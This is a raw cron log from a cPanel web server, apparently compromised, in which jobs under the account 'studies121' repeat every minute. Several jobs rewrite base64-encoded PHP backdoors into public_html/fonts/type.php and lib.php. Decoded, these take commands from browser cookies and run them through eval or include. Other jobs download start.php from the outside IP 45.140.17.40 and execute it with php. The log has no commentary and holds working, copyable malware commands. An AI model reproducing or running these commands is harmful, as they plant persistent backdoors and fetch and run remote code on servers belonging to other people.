Sep  4 10:46:01 ip-184-168-122-23 CROND[8769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:46:01 ip-184-168-122-23 CROND[8772]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:47:01 ip-184-168-122-23 CROND[8909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:47:01 ip-184-168-122-23 CROND[8910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:47:01 ip-184-168-122-23 CROND[8912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:47:01 ip-184-168-122-23 CROND[8911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:48:01 ip-184-168-122-23 CROND[9059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:48:01 ip-184-168-122-23 CROND[9061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:48:01 ip-184-168-122-23 CROND[9062]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:48:01 ip-184-168-122-23 CROND[9064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:48:01 ip-184-168-122-23 CROND[9063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:49:01 ip-184-168-122-23 CROND[9268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:49:01 ip-184-168-122-23 CROND[9270]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  4 10:49:01 ip-184-168-122-23 CROND[9271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:49:01 ip-184-168-122-23 CROND[9272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:49:01 ip-184-168-122-23 CROND[9269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:50:01 ip-184-168-122-23 CROND[9408]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:50:01 ip-184-168-122-23 CROND[9409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:50:02 ip-184-168-122-23 CROND[9416]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 10:50:02 ip-184-168-122-23 CROND[9411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:50:02 ip-184-168-122-23 CROND[9410]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 10:50:02 ip-184-168-122-23 CROND[9412]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 10:50:02 ip-184-168-122-23 CROND[9413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:50:02 ip-184-168-122-23 CROND[9414]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:50:02 ip-184-168-122-23 CROND[9415]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 10:51:01 ip-184-168-122-23 CROND[9573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:51:01 ip-184-168-122-23 CROND[9576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:51:01 ip-184-168-122-23 CROND[9575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:51:01 ip-184-168-122-23 CROND[9574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:52:01 ip-184-168-122-23 CROND[9684]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:52:01 ip-184-168-122-23 CROND[9686]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:52:01 ip-184-168-122-23 CROND[9687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:52:01 ip-184-168-122-23 CROND[9688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:52:01 ip-184-168-122-23 CROND[9689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:53:01 ip-184-168-122-23 CROND[9783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:53:01 ip-184-168-122-23 CROND[9782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:53:01 ip-184-168-122-23 CROND[9785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:53:01 ip-184-168-122-23 CROND[9784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:54:02 ip-184-168-122-23 CROND[9989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:54:02 ip-184-168-122-23 CROND[9990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:54:02 ip-184-168-122-23 CROND[9992]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:54:02 ip-184-168-122-23 CROND[9991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:54:02 ip-184-168-122-23 CROND[9994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:55:01 ip-184-168-122-23 CROND[10088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:55:01 ip-184-168-122-23 CROND[10090]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:55:01 ip-184-168-122-23 CROND[10092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:55:01 ip-184-168-122-23 CROND[10094]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 10:55:01 ip-184-168-122-23 CROND[10093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:55:01 ip-184-168-122-23 CROND[10095]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 10:56:01 ip-184-168-122-23 CROND[10232]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:56:01 ip-184-168-122-23 CROND[10234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:56:01 ip-184-168-122-23 CROND[10235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:56:01 ip-184-168-122-23 CROND[10236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:56:01 ip-184-168-122-23 CROND[10242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:57:01 ip-184-168-122-23 CROND[10347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:57:01 ip-184-168-122-23 CROND[10349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:57:01 ip-184-168-122-23 CROND[10350]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:57:01 ip-184-168-122-23 CROND[10352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:58:01 ip-184-168-122-23 CROND[10446]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:58:01 ip-184-168-122-23 CROND[10448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:58:01 ip-184-168-122-23 CROND[10449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:58:01 ip-184-168-122-23 CROND[10451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
